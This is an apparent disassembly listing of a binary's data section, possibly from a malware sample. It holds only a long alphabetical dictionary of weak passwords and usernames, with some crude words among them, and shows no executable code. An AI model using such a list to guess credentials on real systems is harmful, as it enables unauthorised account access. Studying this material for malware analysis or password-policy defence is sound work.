db 'h4x0ring',0 ; DATA XREF: .nsp0:004277A0o align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .nsp0:0042779Co align 10h aH4x1ng db 'h4x1ng',0 ; DATA XREF: .nsp0:00427798o align 4 aHaxing db 'haxing',0 ; DATA XREF: .nsp0:00427794o align 10h aHax db 'hax',0 ; DATA XREF: .nsp0:00427790o aWh0re db 'wh0re',0 ; DATA XREF: .nsp0:0042778Co align 4 aHo db 'ho',0 ; DATA XREF: .nsp0:00427788o align 10h aWh0r3 db 'wh0r3',0 ; DATA XREF: .nsp0:00427784o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: .nsp0:00427780o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: .nsp0:0042777Co align 10h aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:00427778o align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: .nsp0:00427774o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:00427770o align 4 aWindows95 db 'windows95',0 ; DATA XREF: .nsp0:0042776Co align 10h aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:00427768o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: .nsp0:00427764o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: .nsp0:00427760o align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0042775Co align 10h aMs db 'MS',0 ; DATA XREF: .nsp0:00427758o align 4 aM_0 db 'M$',0 ; DATA XREF: .nsp0:00427754o align 4 aBilly db 'billy',0 ; DATA XREF: .nsp0:00427750o align 10h aWindose db 'windose',0 ; DATA XREF: .nsp0:0042774Co aWindoze db 'windoze',0 ; DATA XREF: .nsp0:00427748o aWindowz db 'windowz',0 ; DATA XREF: .nsp0:00427744o aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:00427740o aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0042773Co align 10h aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:00427738o align 4 aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:00427734o align 4 aDud3 db 'dud3',0 ; DATA XREF: .nsp0:00427730o align 4 aDudette db 'dudette',0 ; DATA XREF: .nsp0:0042772Co aD00d db 'd00d',0 ; DATA XREF: .nsp0:00427728o align 4 aLol db 'lol',0 ; DATA XREF: .nsp0:00427724o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:00427720o align 10h aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0042771Co align 4 aRosco db 'Rosco',0 ; DATA XREF: .nsp0:00427718o align 10h aRoss db 'Ross',0 ; DATA XREF: .nsp0:00427714o align 4 aTestin db 'testin',0 ; DATA XREF: .nsp0:00427710o align 10h aTester db 'tester',0 ; DATA XREF: .nsp0:0042770Co align 4 a00000000 db '00000000',0 ; DATA XREF: .nsp0:00427708o ; .nsp0:004279C4o align 4 aZulu db 'zulu',0 ; DATA XREF: .nsp0:00427704o align 4 aZombie db 'zombie',0 ; DATA XREF: .nsp0:00427700o align 4 aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:004276FCo align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:004276F8o align 4 aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:004276F4o align 10h aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:004276F0o align 4 aZebra db 'zebra',0 ; DATA XREF: .nsp0:004276ECo align 4 aYoung db 'young',0 ; DATA XREF: .nsp0:004276E8o align 4 aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:004276E4o align 4 aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:004276E0o aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:004276DCo align 4 aYellow db 'yellow',0 ; DATA XREF: .nsp0:004276D8o align 4 aYankee db 'yankee',0 ; DATA XREF: .nsp0:004276D4o align 4 aYang db 'yang',0 ; DATA XREF: .nsp0:004276D0o align 4 aYaco db 'yaco',0 ; DATA XREF: .nsp0:004276CCo align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:004276C8o align 4 aXray db 'xray',0 ; DATA XREF: .nsp0:004276C4o align 4 aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:004276C0o align 4 aXmen db 'xmen',0 ; DATA XREF: .nsp0:004276BCo align 4 aXman db 'xman',0 ; DATA XREF: .nsp0:004276B8o align 4 aXfer db 'xfer',0 ; DATA XREF: .nsp0:004276B4o align 4 aXena db 'xena',0 ; DATA XREF: .nsp0:004276B0o align 4 aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:004276ACo aWwii db 'wwii',0 ; DATA XREF: .nsp0:004276A8o align 4 aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:004276A4o align 10h aWorm db 'worm',0 ; DATA XREF: .nsp0:004276A0o align 4 aWork db 'work',0 ; DATA XREF: .nsp0:0042769Co align 10h aWorf db 'worf',0 ; DATA XREF: .nsp0:00427698o align 4 aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:00427694o align 4 aWord db 'word',0 ; DATA XREF: .nsp0:00427690o align 4 aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0042768Co align 4 aWood db 'wood',0 ; DATA XREF: .nsp0:00427688o align 10h aWomen db 'women',0 ; DATA XREF: .nsp0:00427684o align 4 aWombat db 'wombat',0 ; DATA XREF: .nsp0:00427680o align 10h aWoman db 'woman',0 ; DATA XREF: .nsp0:0042767Co align 4 aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:00427678o align 4 aWolf db 'wolf',0 ; DATA XREF: .nsp0:00427674o align 4 aWizard db 'wizard',0 ; DATA XREF: .nsp0:00427670o align 4 aWithin db 'within',0 ; DATA XREF: .nsp0:0042766Co align 4 aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:00427668o aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:00427664o align 10h aWired db 'wired',0 ; DATA XREF: .nsp0:00427660o align 4 aWinston db 'winston',0 ; DATA XREF: .nsp0:0042765Co aWing db 'wing',0 ; DATA XREF: .nsp0:00427658o align 4 aWine db 'wine',0 ; DATA XREF: .nsp0:00427654o align 10h aWindows db 'windows',0 ; DATA XREF: .nsp0:00427650o aWilma db 'wilma',0 ; DATA XREF: .nsp0:0042764Co align 10h aWillie db 'willie',0 ; DATA XREF: .nsp0:00427648o align 4 aWilliams db 'williams',0 ; DATA XREF: .nsp0:00427644o align 4 aWilliam db 'william',0 ; DATA XREF: .nsp0:00427640o aWill db 'will',0 ; DATA XREF: .nsp0:0042763Co align 4 aWhore db 'whore',0 ; DATA XREF: .nsp0:00427638o align 4 aWholesal db 'wholesal',0 ; DATA XREF: .nsp0:00427634o align 4 aWhitney db 'whitney',0 ; DATA XREF: .nsp0:00427630o aWhiting db 'whiting',0 ; DATA XREF: .nsp0:0042762Co aWhite db 'white',0 ; DATA XREF: .nsp0:00427628o align 10h aWhisky db 'whisky',0 ; DATA XREF: .nsp0:00427624o align 4 aWhatnot db 'whatnot',0 ; DATA XREF: .nsp0:00427620o aWhatever db 'whatever',0 ; DATA XREF: .nsp0:0042761Co align 4 aWestern db 'western',0 ; DATA XREF: .nsp0:00427618o aWest db 'west',0 ; DATA XREF: .nsp0:00427614o align 4 aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:00427610o align 4 aWendy db 'wendy',0 ; DATA XREF: .nsp0:0042760Co align 10h aWendi db 'wendi',0 ; DATA XREF: .nsp0:00427608o align 4 aWell db 'well',0 ; DATA XREF: .nsp0:00427604o align 10h aWeenie db 'weenie',0 ; DATA XREF: .nsp0:00427600o align 4 aWeed db 'weed',0 ; DATA XREF: .nsp0:004275FCo align 10h aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:004275F8o align 4 aWebpage db 'webpage',0 ; DATA XREF: .nsp0:004275F4o aWave db 'wave',0 ; DATA XREF: .nsp0:004275F0o align 4 aWater db 'water',0 ; DATA XREF: .nsp0:004275ECo align 4 aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:004275E8o align 10h aWasp db 'wasp',0 ; DATA XREF: .nsp0:004275E4o align 4 aWarren db 'warren',0 ; DATA XREF: .nsp0:004275E0o align 10h aWarp db 'warp',0 ; DATA XREF: .nsp0:004275DCo align 4 aWargames db 'wargames',0 ; DATA XREF: .nsp0:004275D8o align 4 aWarfare db 'warfare',0 ; DATA XREF: .nsp0:004275D4o aWarez db 'warez',0 ; DATA XREF: .nsp0:004275D0o align 4 aWard db 'ward',0 ; DATA XREF: .nsp0:004275CCo align 4 aWaco db 'waco',0 ; DATA XREF: .nsp0:004275C8o align 4 aVodka db 'vodka',0 ; DATA XREF: .nsp0:004275C4o align 4 aVisualba db 'visualba',0 ; DATA XREF: .nsp0:004275C0o align 4 aVisual db 'visual',0 ; DATA XREF: .nsp0:004275BCo align 10h aVisitor db 'visitor',0 ; DATA XREF: .nsp0:004275B8o aVirus db 'virus',0 ; DATA XREF: .nsp0:004275B4o align 10h aVirginia db 'virginia',0 ; DATA XREF: .nsp0:004275B0o align 4 aVirgin db 'virgin',0 ; DATA XREF: .nsp0:004275ACo align 4 aVillage db 'village',0 ; DATA XREF: .nsp0:004275A8o aVideogam db 'videogam',0 ; DATA XREF: .nsp0:004275A4o align 4 aVideo db 'video',0 ; DATA XREF: .nsp0:004275A0o align 10h aVictor db 'victor',0 ; DATA XREF: .nsp0:0042759Co align 4 aVicky db 'vicky',0 ; DATA XREF: .nsp0:00427598o align 10h aVertigo db 'vertigo',0 ; DATA XREF: .nsp0:00427594o aVeronica db 'veronica',0 ; DATA XREF: .nsp0:00427590o align 4 aVenus db 'venus',0 ; DATA XREF: .nsp0:0042758Co align 4 aVasant db 'vasant',0 ; DATA XREF: .nsp0:00427588o align 4 aVampire db 'vampire',0 ; DATA XREF: .nsp0:00427584o aValerie db 'valerie',0 ; DATA XREF: .nsp0:00427580o aVagina db 'vagina',0 ; DATA XREF: .nsp0:0042757Co align 4 aUucp db 'uucp',0 ; DATA XREF: .nsp0:00427578o align 4 aUtility db 'utility',0 ; DATA XREF: .nsp0:00427574o aUtil db 'util',0 ; DATA XREF: .nsp0:00427570o align 4 aUsmc db 'usmc',0 ; DATA XREF: .nsp0:0042756Co align 4 aUsername db 'username',0 ; DATA XREF: .nsp0:00427568o align 4 aUsermane db 'usermane',0 ; DATA XREF: .nsp0:00427564o align 4 aUsenet db 'usenet',0 ; DATA XREF: .nsp0:00427560o align 4 aUrsula db 'ursula',0 ; DATA XREF: .nsp0:0042755Co align 4 aUrchin db 'urchin',0 ; DATA XREF: .nsp0:00427558o align 4 aUranus db 'uranus',0 ; DATA XREF: .nsp0:00427554o align 4 aUpload db 'upload',0 ; DATA XREF: .nsp0:00427550o align 4 aUnlock db 'unlock',0 ; DATA XREF: .nsp0:0042754Co align 4 aUnknown_0 db 'unknown',0 ; DATA XREF: .nsp0:00427548o aUniversi db 'universi',0 ; DATA XREF: .nsp0:00427544o align 4 aUniverse db 'universe',0 ; DATA XREF: .nsp0:00427540o align 4 aUniversa db 'universa',0 ; DATA XREF: .nsp0:0042753Co align 10h aUniform db 'uniform',0 ; DATA XREF: .nsp0:00427538o aUnicorn db 'unicorn',0 ; DATA XREF: .nsp0:00427534o aUnhappy db 'unhappy',0 ; DATA XREF: .nsp0:00427530o aUndo db 'undo',0 ; DATA XREF: .nsp0:0042752Co align 10h aUncle db 'uncle',0 ; DATA XREF: .nsp0:00427528o align 4 aUmesh db 'umesh',0 ; DATA XREF: .nsp0:00427524o align 10h aUgly db 'ugly',0 ; DATA XREF: .nsp0:00427520o align 4 aTuttle db 'tuttle',0 ; DATA XREF: .nsp0:0042751Co align 10h aTurn db 'turn',0 ; DATA XREF: .nsp0:00427518o align 4 aTuesday db 'tuesday',0 ; DATA XREF: .nsp0:00427514o aTubas db 'tubas',0 ; DATA XREF: .nsp0:00427510o align 4 aTruth db 'truth',0 ; DATA XREF: .nsp0:0042750Co align 10h aTrue db 'true',0 ; DATA XREF: .nsp0:00427508o align 4 aTron db 'tron',0 ; DATA XREF: .nsp0:00427504o align 10h aTrombone db 'trombone',0 ; DATA XREF: .nsp0:00427500o align 4 aTrojan db 'trojan',0 ; DATA XREF: .nsp0:004274FCo align 4 aTrivial db 'trivial',0 ; DATA XREF: .nsp0:004274F8o aTrisha db 'trisha',0 ; DATA XREF: .nsp0:004274F4o align 4 aTrek db 'trek',0 ; DATA XREF: .nsp0:004274F0o align 4 aTree db 'tree',0 ; DATA XREF: .nsp0:004274ECo align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: .nsp0:004274E8o align 10h aTrap db 'trap',0 ; DATA XREF: .nsp0:004274E4o align 4 aTransfer db 'transfer',0 ; DATA XREF: .nsp0:004274E0o align 4 aTrails db 'trails',0 ; DATA XREF: .nsp0:004274DCo align 4 aTracy db 'tracy',0 ; DATA XREF: .nsp0:004274D8o align 4 aTracie db 'tracie',0 ; DATA XREF: .nsp0:004274D4o align 4 aTraci db 'traci',0 ; DATA XREF: .nsp0:004274D0o align 4 aToyota db 'toyota',0 ; DATA XREF: .nsp0:004274CCo align 4 aToxic db 'toxic',0 ; DATA XREF: .nsp0:004274C8o align 4 aTortoise db 'tortoise',0 ; DATA XREF: .nsp0:004274C4o align 10h aTopograp db 'topograp',0 ; DATA XREF: .nsp0:004274C0o align 4 aTomato db 'tomato',0 ; DATA XREF: .nsp0:004274BCo align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: .nsp0:004274B8o align 10h aToken db 'token',0 ; DATA XREF: .nsp0:004274B4o align 4 aToggle db 'toggle',0 ; DATA XREF: .nsp0:004274B0o align 10h aToad db 'toad',0 ; DATA XREF: .nsp0:004274ACo align 4 aTits db 'tits',0 ; DATA XREF: .nsp0:004274A8o align 10h aTina db 'tina',0 ; DATA XREF: .nsp0:004274A4o align 4 aTime db 'time',0 ; DATA XREF: .nsp0:004274A0o align 10h aTiger db 'tiger',0 ; DATA XREF: .nsp0:0042749Co align 4 aTiffany db 'tiffany',0 ; DATA XREF: .nsp0:00427498o aThursday db 'thursday',0 ; DATA XREF: .nsp0:00427494o align 4 aThin db 'thin',0 ; DATA XREF: .nsp0:00427490o align 4 aTheresa db 'theresa',0 ; DATA XREF: .nsp0:0042748Co aThailand db 'thailand',0 ; DATA XREF: .nsp0:00427488o align 4 aText db 'text',0 ; DATA XREF: .nsp0:00427484o align 10h aTetris db 'tetris',0 ; DATA XREF: .nsp0:00427480o align 4 aTess db 'tess',0 ; DATA XREF: .nsp0:0042747Co align 10h aTerminat db 'terminat',0 ; DATA XREF: .nsp0:00427478o align 4 aTerminal db 'terminal',0 ; DATA XREF: .nsp0:00427474o align 4 aTera db 'tera',0 ; DATA XREF: .nsp0:00427470o align 10h aTennis db 'tennis',0 ; DATA XREF: .nsp0:0042746Co align 4 aTemptati db 'temptati',0 ; DATA XREF: .nsp0:00427468o align 4 aTelnet db 'telnet',0 ; DATA XREF: .nsp0:00427464o align 4 aTelephon db 'telephon',0 ; DATA XREF: .nsp0:00427460o align 4 aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0042745Co aTeen db 'teen',0 ; DATA XREF: .nsp0:00427458o align 4 aTech db 'tech',0 ; DATA XREF: .nsp0:00427454o align 10h aTears db 'tears',0 ; DATA XREF: .nsp0:00427450o align 4 aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0042744Co align 10h aTeam db 'team',0 ; DATA XREF: .nsp0:00427448o align 4 aTaylor db 'taylor',0 align 10h aTarragon db 'tarragon',0 align 4 aTarget db 'target',0 align 4 aTara db 'tara',0 align 4 aTape db 'tape',0 align 4 aTango db 'tango',0 align 4 aTangerin db 'tangerin',0 align 4 aTammy db 'tammy',0 align 10h aTamie db 'tamie',0 align 4 aTami db 'tami',0 align 10h aTamara db 'tamara',0 align 4 aTall db 'tall',0 align 10h aTalk db 'talk',0 align 4 aTabasco db 'tabasco',0 aSysop db 'sysop',0 align 4 aSysadmin db 'sysadmin',0 align 4 aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:00427400o align 10h aSybil db 'sybil',0 ; DATA XREF: .nsp0:004273FCo align 4 aSword db 'sword',0 ; DATA XREF: .nsp0:004273F8o align 10h aSwitch db 'switch',0 ; DATA XREF: .nsp0:004273F4o align 4 aSweat db 'sweat',0 ; DATA XREF: .nsp0:004273F0o align 10h aSwearer db 'swearer',0 ; DATA XREF: .nsp0:004273ECo aSuzie db 'suzie',0 ; DATA XREF: .nsp0:004273E8o align 10h aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:004273E4o aSusie db 'susie',0 ; DATA XREF: .nsp0:004273E0o align 10h aSusanne db 'susanne',0 ; DATA XREF: .nsp0:004273DCo aSusan db 'susan',0 ; DATA XREF: .nsp0:004273D8o align 10h aSurfing db 'surfing',0 ; DATA XREF: .nsp0:004273D4o aSurfer db 'surfer',0 ; DATA XREF: .nsp0:004273D0o align 10h aSupporte db 'supporte',0 ; DATA XREF: .nsp0:004273CCo align 4 aSupport db 'support',0 ; DATA XREF: .nsp0:004273C8o aSupervis db 'supervis',0 ; DATA XREF: .nsp0:004273C4o align 10h aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:004273C0o align 4 aSupersta db 'supersta',0 ; DATA XREF: .nsp0:004273BCo align 4 aSuperson db 'superson',0 ; DATA XREF: .nsp0:004273B8o align 4 aSuperman db 'superman',0 ; DATA XREF: .nsp0:004273B4o align 10h aSunday db 'sunday',0 ; DATA XREF: .nsp0:004273B0o align 4 aSummer db 'summer',0 ; DATA XREF: .nsp0:004273ACo align 10h aSucks db 'sucks',0 ; DATA XREF: .nsp0:004273A8o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:004273A4o align 4 aSuck db 'suck',0 ; DATA XREF: .nsp0:004273A0o align 4 aSuccess db 'success',0 ; DATA XREF: .nsp0:0042739Co aSubway db 'subway',0 ; DATA XREF: .nsp0:00427398o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:00427394o align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:00427390o align 4 aStrip db 'strip',0 align 4 aString db 'string',0 align 4 aStreetfi db 'streetfi',0 align 10h aStratfor db 'stratfor',0 align 4 aStrangle db 'strangle',0 align 4 aStrange db 'strange',0 aStones db 'stones',0 align 4 aStoned db 'stoned',0 align 10h aStoneage db 'stoneage',0 align 4 aSteve db 'steve',0 align 4 aStereo db 'stereo',0 align 4 aStephani db 'stephani',0 align 4 aSteph db 'steph',0 ; DATA XREF: .nsp0:00427358o align 10h aSteel db 'steel',0 ; DATA XREF: .nsp0:00427354o align 4 aSteal db 'steal',0 ; DATA XREF: .nsp0:00427350o align 10h aSteak db 'steak',0 ; DATA XREF: .nsp0:0042734Co align 4 aStarwars db 'starwars',0 ; DATA XREF: .nsp0:00427348o align 4 aStartup db 'startup',0 ; DATA XREF: .nsp0:00427344o aStartrek db 'startrek',0 ; DATA XREF: .nsp0:00427340o align 4 aStart db 'start',0 ; DATA XREF: .nsp0:0040BE40o ; .nsp0:0042733Co align 10h aStarship db 'starship',0 ; DATA XREF: .nsp0:00427338o align 4 aStar db 'star',0 ; DATA XREF: .nsp0:00427334o align 4 aStacy db 'stacy',0 ; DATA XREF: .nsp0:00427330o align 4 aStacie db 'stacie',0 ; DATA XREF: .nsp0:0042732Co align 4 aStaci db 'staci',0 ; DATA XREF: .nsp0:00427328o align 4 aStacey db 'stacey',0 ; DATA XREF: .nsp0:00427324o align 4 aSr71 db 'sr71',0 ; DATA XREF: .nsp0:00427320o align 4 aSquires db 'squires',0 ; DATA XREF: .nsp0:0042731Co aSpunk db 'spunk',0 ; DATA XREF: .nsp0:00427318o align 4 aSpringer db 'springer',0 ; DATA XREF: .nsp0:00427314o align 4 aSpring db 'spring',0 ; DATA XREF: .nsp0:00427310o align 10h aSpred db 'spred',0 ; DATA XREF: .nsp0:0042730Co align 4 aSpit db 'spit',0 ; DATA XREF: .nsp0:00427308o align 10h aSpiderma db 'spiderma',0 ; DATA XREF: .nsp0:00427304o align 4 aSpider db 'spider',0 ; DATA XREF: .nsp0:00427300o align 4 aSpice db 'spice',0 ; DATA XREF: .nsp0:004272FCo align 4 aSpell db 'spell',0 ; DATA XREF: .nsp0:004272F8o align 4 aSpear db 'spear',0 ; DATA XREF: .nsp0:004272F4o align 4 aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:004272F0o align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: .nsp0:004272ECo align 4 aSouth db 'south',0 ; DATA XREF: .nsp0:004272E8o align 4 aSource db 'source',0 ; DATA XREF: .nsp0:004272E4o align 4 aSossina db 'sossina',0 ; DATA XREF: .nsp0:004272E0o aSonya db 'sonya',0 ; DATA XREF: .nsp0:004272DCo align 4 aSonic db 'sonic',0 ; DATA XREF: .nsp0:004272D8o align 4 aSonia db 'sonia',0 ; DATA XREF: .nsp0:004272D4o align 4 aSondra db 'sondra',0 ; DATA XREF: .nsp0:004272D0o align 4 aSomebody db 'somebody',0 ; DATA XREF: .nsp0:004272CCo align 4 aSoftware db 'software',0 ; DATA XREF: .nsp0:004272C8o align 4 aSoft db 'soft',0 ; DATA XREF: .nsp0:004272C4o align 4 aSodomy db 'sodomy',0 ; DATA XREF: .nsp0:004272C0o align 4 aSocrates db 'socrates',0 ; DATA XREF: .nsp0:004272BCo align 10h aSocial db 'social',0 ; DATA XREF: .nsp0:004272B8o align 4 aSoap db 'soap',0 ; DATA XREF: .nsp0:004272B4o align 10h aSnoopy db 'snoopy',0 ; DATA XREF: .nsp0:004272B0o align 4 aSnatch db 'snatch',0 ; DATA XREF: .nsp0:004272ACo align 10h aSnake db 'snake',0 ; DATA XREF: .nsp0:004272A8o align 4 aSnafu db 'snafu',0 ; DATA XREF: .nsp0:004272A4o align 10h aSnach db 'snach',0 ; DATA XREF: .nsp0:004272A0o align 4 aSmut db 'smut',0 ; DATA XREF: .nsp0:0042729Co align 10h aSmtp db 'smtp',0 ; DATA XREF: .nsp0:00427298o align 4 aSmother db 'smother',0 ; DATA XREF: .nsp0:00427294o aSmooch db 'smooch',0 ; DATA XREF: .nsp0:00427290o align 4 aSmiles db 'smiles',0 ; DATA XREF: .nsp0:0042728Co align 10h aSmile db 'smile',0 ; DATA XREF: .nsp0:00427288o align 4 aSmart db 'smart',0 ; DATA XREF: .nsp0:00427284o align 10h aSmall db 'small',0 ; DATA XREF: .nsp0:00427280o align 4 aSlut db 'slut',0 ; DATA XREF: .nsp0:0042727Co align 10h aSlow db 'slow',0 ; DATA XREF: .nsp0:00427278o align 4 aSliders db 'sliders',0 ; DATA XREF: .nsp0:00427274o aSlick db 'slick',0 ; DATA XREF: .nsp0:00427270o align 4 aSlave db 'slave',0 ; DATA XREF: .nsp0:0042726Co align 10h aSkull db 'skull',0 ; DATA XREF: .nsp0:00427268o align 4 aSite db 'site',0 ; DATA XREF: .nsp0:00427264o align 10h aSingle db 'single',0 ; DATA XREF: .nsp0:00427260o align 4 aSinger db 'singer',0 ; DATA XREF: .nsp0:0042725Co align 10h aSimulati db 'simulati',0 ; DATA XREF: .nsp0:00427258o align 4 aSimpsons db 'simpsons',0 ; DATA XREF: .nsp0:00427254o align 4 aSimple db 'simple',0 ; DATA XREF: .nsp0:00427250o align 10h aSimon db 'simon',0 ; DATA XREF: .nsp0:0042724Co align 4 aSimcity db 'simcity',0 ; DATA XREF: .nsp0:00427248o aSilver db 'silver',0 ; DATA XREF: .nsp0:00427244o align 4 aSignatur db 'signatur',0 ; DATA XREF: .nsp0:00427240o align 4 aSierra db 'sierra',0 ; DATA XREF: .nsp0:0042723Co align 4 aSick db 'sick',0 ; DATA XREF: .nsp0:00427238o align 4 aShuttle db 'shuttle',0 ; DATA XREF: .nsp0:00427234o aShort db 'short',0 ; DATA XREF: .nsp0:00427230o align 4 aShivers db 'shivers',0 ; DATA XREF: .nsp0:0042722Co aShiva db 'shiva',0 ; DATA XREF: .nsp0:00427228o align 4 aShitpot db 'shitpot',0 ; DATA XREF: .nsp0:00427224o aShit db 'shit',0 ; DATA XREF: .nsp0:00427220o align 4 aShirley db 'shirley',0 ; DATA XREF: .nsp0:0042721Co aShift db 'shift',0 ; DATA XREF: .nsp0:00427218o align 4 aSherri db 'sherri',0 ; DATA XREF: .nsp0:00427214o align 4 aShell db 'shell',0 ; DATA XREF: .nsp0:00427210o align 4 aSheldon db 'sheldon',0 ; DATA XREF: .nsp0:0042720Co aSheffiel db 'sheffiel',0 ; DATA XREF: .nsp0:00427208o align 4 aSharon db 'sharon',0 ; DATA XREF: .nsp0:00427204o align 10h aSharks db 'sharks',0 ; DATA XREF: .nsp0:00427200o align 4 aShark db 'shark',0 ; DATA XREF: .nsp0:004271FCo align 10h aSharc db 'sharc',0 ; DATA XREF: .nsp0:004271F8o align 4 aShannon db 'shannon',0 ; DATA XREF: .nsp0:004271F4o aSexy db 'sexy',0 ; DATA XREF: .nsp0:004271F0o align 4 aSesame db 'sesame',0 ; DATA XREF: .nsp0:004271ECo align 10h aService db 'service',0 ; DATA XREF: .nsp0:004271E8o aSerial db 'serial',0 ; DATA XREF: .nsp0:004271E4o align 10h aSerenity db 'serenity',0 ; DATA XREF: .nsp0:004271E0o align 4 aSentry db 'sentry',0 ; DATA XREF: .nsp0:004271DCo align 4 aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:004271D8o align 10h aSensor db 'sensor',0 ; DATA XREF: .nsp0:004271D4o align 4 aSega db 'sega',0 ; DATA XREF: .nsp0:004271D0o align 10h aSeed db 'seed',0 ; DATA XREF: .nsp0:004271CCo align 4 aSecurity db 'security',0 ; DATA XREF: .nsp0:004271C8o align 4 aSearch db 'search',0 ; DATA XREF: .nsp0:004271C4o align 4 aScout db 'scout',0 ; DATA XREF: .nsp0:004271C0o align 4 aScotty db 'scotty',0 ; DATA XREF: .nsp0:004271BCo align 4 aScott db 'scott',0 ; DATA XREF: .nsp0:004271B8o align 4 aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:004271B4o align 10h aScifi db 'scifi',0 ; DATA XREF: .nsp0:004271B0o align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:004271ACo aSchool db 'school',0 ; DATA XREF: .nsp0:004271A8o align 4 aScheme db 'scheme',0 ; DATA XREF: .nsp0:004271A4o align 4 aScamper db 'scamper',0 ; DATA XREF: .nsp0:004271A0o aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0042719Co align 4 aSaturn db 'saturn',0 ; DATA XREF: .nsp0:00427198o align 4 aSaturday db 'saturday',0 ; DATA XREF: .nsp0:00427194o align 4 aSarah db 'sarah',0 ; DATA XREF: .nsp0:00427190o align 10h aSara db 'sara',0 ; DATA XREF: .nsp0:0042718Co align 4 aSandy db 'sandy',0 ; DATA XREF: .nsp0:00427188o align 10h aSandra db 'sandra',0 ; DATA XREF: .nsp0:00427184o align 4 aSample db 'sample',0 ; DATA XREF: .nsp0:00427180o align 10h aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0042717Co align 4 aSalt db 'salt',0 ; DATA XREF: .nsp0:00427178o align 4 aSale db 'sale',0 ; DATA XREF: .nsp0:00427174o align 4 aSalami db 'salami',0 ; DATA XREF: .nsp0:00427170o align 4 aSafe db 'safe',0 ; DATA XREF: .nsp0:0042716Co align 4 aRuth db 'ruth',0 ; DATA XREF: .nsp0:00427168o align 4 aRush db 'rush',0 ; DATA XREF: .nsp0:00427164o align 4 aRunning db 'running',0 ; DATA XREF: .nsp0:00427160o aRules db 'rules',0 ; DATA XREF: .nsp0:0042715Co align 4 aRude db 'rude',0 ; DATA XREF: .nsp0:00427158o align 4 aRuby db 'ruby',0 ; DATA XREF: .nsp0:00427154o align 4 aRuben db 'ruben',0 ; DATA XREF: .nsp0:00427150o align 4 aRubber db 'rubber',0 ; DATA XREF: .nsp0:0042714Co align 4 aRough db 'rough',0 ; DATA XREF: .nsp0:00427148o align 4 aRoses db 'roses',0 ; DATA XREF: .nsp0:00427144o align 4 aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:00427140o align 4 aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0042713Co aRose db 'rose',0 ; DATA XREF: .nsp0:00427138o align 4 aRonald db 'ronald',0 ; DATA XREF: .nsp0:00427134o align 10h aRomulan db 'romulan',0 ; DATA XREF: .nsp0:00427130o aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0042712Co align 10h aRomano db 'romano',0 ; DATA XREF: .nsp0:00427128o align 4 aRolex db 'rolex',0 ; DATA XREF: .nsp0:00427124o align 10h aRodent db 'rodent',0 ; DATA XREF: .nsp0:00427120o align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0042711Co align 4 aRocky db 'rocky',0 ; DATA XREF: .nsp0:00427118o align 4 aRock db 'rock',0 ; DATA XREF: .nsp0:00427114o align 4 aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:00427110o align 10h aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0042710Co align 4 aRobyn db 'robyn',0 ; DATA XREF: .nsp0:00427108o align 4 aRobotics db 'robotics',0 ; DATA XREF: .nsp0:00427104o align 10h aRobot db 'robot',0 ; DATA XREF: .nsp0:00427100o align 4 aRobin db 'robin',0 ; DATA XREF: .nsp0:004270FCo align 10h aRobert db 'robert',0 ; DATA XREF: .nsp0:004270F8o align 4 aRoach db 'roach',0 ; DATA XREF: .nsp0:004270F4o align 10h aRisc db 'risc',0 ; DATA XREF: .nsp0:004270F0o align 4 aRipple db 'ripple',0 ; DATA XREF: .nsp0:004270ECo align 10h aRiot db 'riot',0 ; DATA XREF: .nsp0:004270E8o align 4 aRing db 'ring',0 ; DATA XREF: .nsp0:004270E4o 